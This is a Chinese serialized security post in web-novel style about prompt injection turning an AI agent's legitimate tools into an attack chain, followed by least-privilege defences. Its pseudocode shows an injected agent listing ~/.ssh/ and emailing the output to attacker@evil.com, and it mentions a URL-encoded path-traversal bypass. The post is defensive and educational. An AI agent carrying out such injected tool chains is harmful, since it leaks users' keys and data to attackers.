甲方领导 看到这篇文章:马上收回Agent的所有非必要权限
白帽子 看到这篇文章:工具链攻击还能这么串?
吃瓜群众 误以为是AI造反小说点进来学技术
你还在犹豫什么!速速点击关注加入我们!
连续击退暗网剑宗两轮攻势后,林陌以为防线已然稳固。
周三凌晨三点,生产数据库报警——users表被清空。查审计日志,操作者不是人类,是公司的代码审查Agent。
这个Agent只被授予了"读取"权限。为什么能执行DROP TABLE?
林陌调出完整的工具调用链路,脊背发凉——
攻击者没有直接让Agent删库。而是用了四步串联:
每一步都是Agent被授予的"合法工具"。但串起来,就是一场灾难。

(系统提示:吞噬 30%,解锁「跨工具劫持·四步杀招」)
TT_SSV赶到机房,在白板上画出了暗网剑宗的工具滥用三板斧:
板斧一·权限膨胀:工具被赋予远超需要的权限。一个"邮件摘要"工具,居然同时拥有"读取""发送""删除"权限。攻击者只需劫持摘要功能,就能用它发垃圾邮件或删除收件箱。
板斧二·工具链串联:最致命的攻击形态。攻击者不直接触发危险操作,而是让工具A的输出成为工具B的输入,工具B的输出再驱动工具C。把审计日志拆开看,每步都是合法调用,但串联起来就是完整的攻击链。
# 攻击者不需要写这段代码,Agent被诱导后自己就会这样串(伪代码示意)
step1 = email_tool.read_inbox() # 合法
step2 = file_tool.list_dir("~/.ssh/") # 被注入指令诱导
step3 = email_tool.send(to="attacker@evil.com",
body=step2.output) # 被注入指令诱导
板斧三·参数污染:攻击者不劫持工具选择,只篡改工具参数。Agent调用"发送通知"工具时,收件人被替换为攻击者地址,邮件正文里夹带内部API密钥。
(系统提示:吞噬 60%,解锁「工具滥用图谱」)
"OWASP 2026 提出的不只是'最小权限',而是最小Agent原则。" TT_SSV说,"Agent不仅需要最小权限,还需要最小能力。"
林陌按这个思路重构了工具治理体系:
工具级白名单:每个Agent只注册完成本职任务所必需的工具。代码审查Agent不需要数据库工具,邮件Agent不需要文件系统工具。
参数级约束:工具参数附加硬性边界。file_read 工具绑定固定目录,所有路径参数必须经过规范化(Path Canonicalization)后再做校验——仅过滤 ../ 字符串无效,攻击者可用 URL 编码(%2e%2e%2f)、Unicode 超长编码等方式绕过。
调用级链式阻断:任何工具的输入来自另一个工具的输出时,触发人工审批。工具链被强制打断。
操作级鉴权:高风险操作(删除、写入、外发)必须经过独立于Agent的人类确认通道。
部署后一周,拦截了112次异常工具调用。

(系统提示:吞噬 100%,解锁「最小Agent·四重铁壁」)
免责声明:本文所有技术内容仅用于安全研究与防御建设,禁止用于未授权测试或攻击行为。
往期推荐:
欲知后事如何?关注公众号,加入QQ群,且听下回分解!
夜雨聆风